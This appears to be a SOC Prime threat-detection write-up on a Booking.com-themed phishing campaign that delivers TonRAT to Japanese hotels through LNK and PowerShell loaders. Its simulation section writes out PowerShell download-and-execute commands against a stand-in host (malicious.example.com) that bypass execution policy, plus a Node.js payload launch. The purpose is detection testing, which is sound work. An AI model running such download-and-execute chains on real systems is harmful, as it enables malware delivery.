SOC Prime Bias: Medium

12 Jun 2026 06:16 UTC

Analysis of Suspicious Emails Targeting the Hotel Industry

Author Photo
SOC Prime Team linkedin icon Follow
Analysis of Suspicious Emails Targeting the Hotel Industry
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

A phishing campaign posing as Booking.com targeted hotel operators in Japan through infrastructure hosted on Calendly and SendGrid. The email included a shortened link that led to a ZIP archive containing a malicious LNK shortcut, which then launched a PowerShell-based loader. That loader retrieved additional PowerShell scripts, decrypted a JavaScript payload identified as TonRAT, downloaded Node.js, and executed the RAT. The malware then established command-and-control through a WebSocket endpoint obtained via the TON API.

Investigation

The report outlines the email header analysis, the abuse of legitimate delivery services, and the full multi-stage execution chain used in the attack. It provides file hashes for the ZIP archive and its internal components and lists the command-and-control domains observed during analysis. The investigation also includes technical details on the malicious LNK file and the PowerShell commands used to progress the infection.

Mitigation

Defenders should block suspicious Calendly short links, verify sender domains carefully, and restrict execution of LNK attachments delivered through email. Monitoring should also focus on unauthorized PowerShell activity and unexpected Node.js binaries appearing on endpoints. URL filtering can help block access to the known malicious domains involved in the campaign.

Response

Security teams should create detections for PowerShell commands that download content from the identified command-and-control domains and for execution of node.exe from unusual locations. Alerts should also be configured for email flows using SendGrid headers from untrusted or unexpected sources. Investigators should collect dropped files and preserve network traffic associated with the observed WebSocket communications.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Nodes action_phishing["<b>Action</b> – <b>T1566.002 Spearphishing Link</b><br/>Phishing email containing a malicious Calendly link is sent to the victim."] class action_phishing action action_user_click["<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b><br/>Victim clicks the malicious Calendly link, causing the browser to download a ZIP archive."] class action_user_click action action_download_zip["<b>Action</b> – Download ZIP<br/>ZIP archive contains a shortcut (.lnk) and a dummy MP4 file."] class action_download_zip action action_open_shortcut["<b>Action</b> – <b>T1547.009 Shortcut Modification</b><br/>Victim opens the .lnk shortcut, which executes a PowerShell command."] class action_open_shortcut action tool_powershell["<b>Tool</b> – PowerShell<br/><b>Purpose</b>: Executes commands and downloads additional payloads."] class tool_powershell tool action_download_script["<b>Action</b> – <b>T1105 Ingress Tool Transfer</b><br/>PowerShell downloads an additional script from a remote server."] class action_download_script action action_download_js["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>PowerShell also downloads an encrypted JavaScript payload."] class action_download_js action action_download_node["<b>Action</b> – Download Node.js Runtime<br/>Node.js runtime is downloaded and used to launch the next stage."] class action_download_node process malware_tonrat["<b>Malware</b> – TonRAT<br/>JavaScriptu2011based remote access trojan executed via Node.js."] class malware_tonrat malware action_dynamic_resolution["<b>Action</b> – <b>T1568 Dynamic Resolution</b><br/>TonRAT queries the TON API to resolve commandu2011andu2011control domains at runtime."] class action_dynamic_resolution action action_c2["<b>Action</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Establishes a WebSocket channel for C2 communications."] class action_c2 action %% Connections action_phishing –>|leads_to| action_user_click action_user_click –>|triggers| action_download_zip action_download_zip –>|contains| action_open_shortcut action_open_shortcut –>|executes| tool_powershell tool_powershell –>|uses| action_download_script tool_powershell –>|uses| action_download_js action_download_script –>|provides| action_download_node action_download_js –>|provides| action_download_node action_download_node –>|launches| malware_tonrat malware_tonrat –>|performs| action_dynamic_resolution action_dynamic_resolution –>|enables| action_c2 "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    1. Initial Access – PowerShell Download
      The attacker obtains a PowerShell remote session on the compromised host and uses Invoke-WebRequest to pull the TonRAT loader script from a malicious C2 server. This step satisfies the Invoke-WebRequest string match.

      powershell -NoProfile -ExecutionPolicy Bypass -Command ^
        "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1"
    2. Execution of the Loader
      The downloaded script is executed, which in turn spawns a second PowerShell process to run additional commands (still containing the literal “PowerShell”).

      powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1
    3. Node.js Payload Execution
      TonRAT drops a malicious JavaScript file (malicious.js) and launches it with the Node.js runtime (node.exe). This generates the node.exe string match.

      # Assume the script already placed malicious.js in C:Temp
      C:Program Filesnodejsnode.exe C:Tempmalicious.js

    The three process creations (PowerShell with Invoke-WebRequest, PowerShell executing the loader, and node.exe) collectively satisfy the detection rule’s condition.

  • Regression Test Script:

    #-------------------------------------------------
    # TonRAT Deployment Simulation – triggers Sigma rule
    #-------------------------------------------------
    $tempDir = "$env:TEMPtonrat_demo"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # 1. Download fake loader (simulated with a simple echo)
    $loaderUrl = "http://malicious.example.com/tonrat.ps1"
    $loaderPath = "$tempDirtonrat.ps1"
    Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing
    
    # 2. Execute the loader (the loader just creates a dummy js file)
    powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath
    
    # 3. Create a dummy JavaScript payload
    $jsPath = "C:Tempmalicious.js"
    Set-Content -Path $jsPath -Value "console.log('Malicious payload executed');"
    
    # 4. Run the payload with Node.js
    $nodePath = "C:Program Filesnodejsnode.exe"
    & $nodePath $jsPath
    #-------------------------------------------------
  • Cleanup Commands:

    # Remove all artifacts created by the simulation
    Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force
    Remove-Item -Path "C:Tempmalicious.js" -Force
    # Optionally kill any lingering PowerShell/Node processes (if needed)
    Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force